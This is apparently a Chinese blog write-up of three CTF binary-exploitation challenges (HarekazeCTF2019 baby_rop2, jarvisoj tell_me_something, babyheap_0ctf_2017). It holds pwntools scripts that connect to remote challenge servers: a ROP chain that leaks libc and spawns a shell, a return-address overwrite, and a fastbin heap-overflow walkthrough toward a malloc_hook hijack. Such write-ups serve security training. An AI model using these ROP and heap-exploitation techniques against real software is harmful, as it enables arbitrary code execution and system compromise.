[HarekazeCTF2019]baby_rop264位下的 printf 函数泄露 libc
坑的是如果是泄露 printf@got 是会失败的from pwn import *from LibcSearcher import *context.log_level='debug'#p = process('pwn')p = remote('node4.buuoj.cn', 27227)elf = ELF('pwn')rdi = 0x400733rsi_r15 = 0x400731ret = 0x4004d1#%sstr_s = 0x400770 payload = b'a'*0x28 + p64(rdi) + p64(str_s) + p64(rsi_r15) + p64(elf.got['read']) + p64(0) + p64(elf.plt['printf']) + p64(elf.sym['main'])p.sendlineafter(b'What\'s your name? ',payload)p.recvline()read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))libc = ELF('buu/libc-2.23-x64.so')libcbase = read_addr - libc.sym['read']system = libcbase + libc.sym['system']binsh = libcbase + next(libc.search(b'/bin/sh\x00'))payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system)p.sendlineafter(b'What\'s your name? ',payload)p.interactive()jarvisoj_tell_me_something需要 gdb 动态调试,或者注意下汇编代码
from pwn import *from LibcSearcher import *context.log_level='debug'#p = process('pwn')p = remote('node4.buuoj.cn', 28205)elf = ELF('pwn')rdi = 0x400668ret = 0x400469payload = b'a'*0x88 + p64(elf.sym['good_game'])p.sendlineafter(b'Input your message:\n', payload)p.recv()p.recv()babyheap_0ctf_2017菜单堆题,保护措施一般全开 。。。。

文章插图
其中,新增堆块的时候可以自定义大小

文章插图
为堆块写入内容的时候也可以自定义大小写入

文章插图
那么就可以造成堆溢出,其它的都很寻常攻击流程:1.利用 unsortbin 泄露 libcbase2.劫持 malloc_hook,修改为 one_gadget 首先我们要做的是利用 unsortedbin 只有一个 chunk 时,其 chunk 的 fd 指向 与 main_arena 固定偏移的地方,然后利用 fastbin attack 泄露,获得 libcbase先申请堆块,堆块0 是为了利用堆溢出修改其它堆块,堆块1 和 堆块2 用来 泄露堆块4 的 fdallocate(0x10)allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x80)free(1)free(2)free 后可以看到堆块2 的 fd 指向堆块1

文章插图

文章插图
接下来是修改堆块2 的 fd,使其指向堆块4payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) fill(0,payload)

文章插图

文章插图
可以看到堆块4 已经加入了 fastbin

文章插图
但是 fastbin 不能容纳 0x91 的 chunk,并且我们重新 allcate 时也要过内存检测,所以继续利用堆溢出修改堆块4的大小payload = p64(0)*3 + p64(0x21)fill(3,payload)可以看到正常的 free 状态的 堆块4,但是由于部分空间不在堆块的范围内,所以看不到 top chunk

文章插图

文章插图
这一步比较关键之前因为我们 free(1) 和 free(2),所以 index1 和 index2 是为空的,fastbin 又是只有堆块2 和堆块4 这两个堆块,那么我们重新 allocate 时,由于 fastbin 采用头插法,所以先进的 chunk 反而后被 allocate,所以这个时候 index1 -> 堆块2,index2 -> 堆块4,值得注意的是 index4 -> 堆块4,这样我们才能达到泄露 main_arena 的目的多 allocate 一个 chunk 是防止我们 free(4) 后堆块4 和 top chunk 合并了allocate(0x10)allocate(0x10)payload = p64(0)*3 + p64(0x91)fill(3,payload)allocate(0x80)free(4)
经验总结扩展阅读
- 第一次开自动挡车步骤有哪些
- 沈阳 第 46 届 ICPC 国际大学生程序设计竞赛亚洲区域赛
- 原神寻星之旅第五天怎么通关
- 新剑侠情缘10月26日微信每日一题答案是什么
- 抛物线第二定义是什么
- 治疗湿疹的药膏有什么
- 去细纹眼霜前8强:希思黎上榜 第一名可有效阻止电子辐射
- 琅琊榜夏冬和聂锋相认是第几集?
- .Net Framework中的AppDomain.AssemblyResolve事件的常见用法、问题,以及解决办法
- 蛋神奇踪主题曲是什么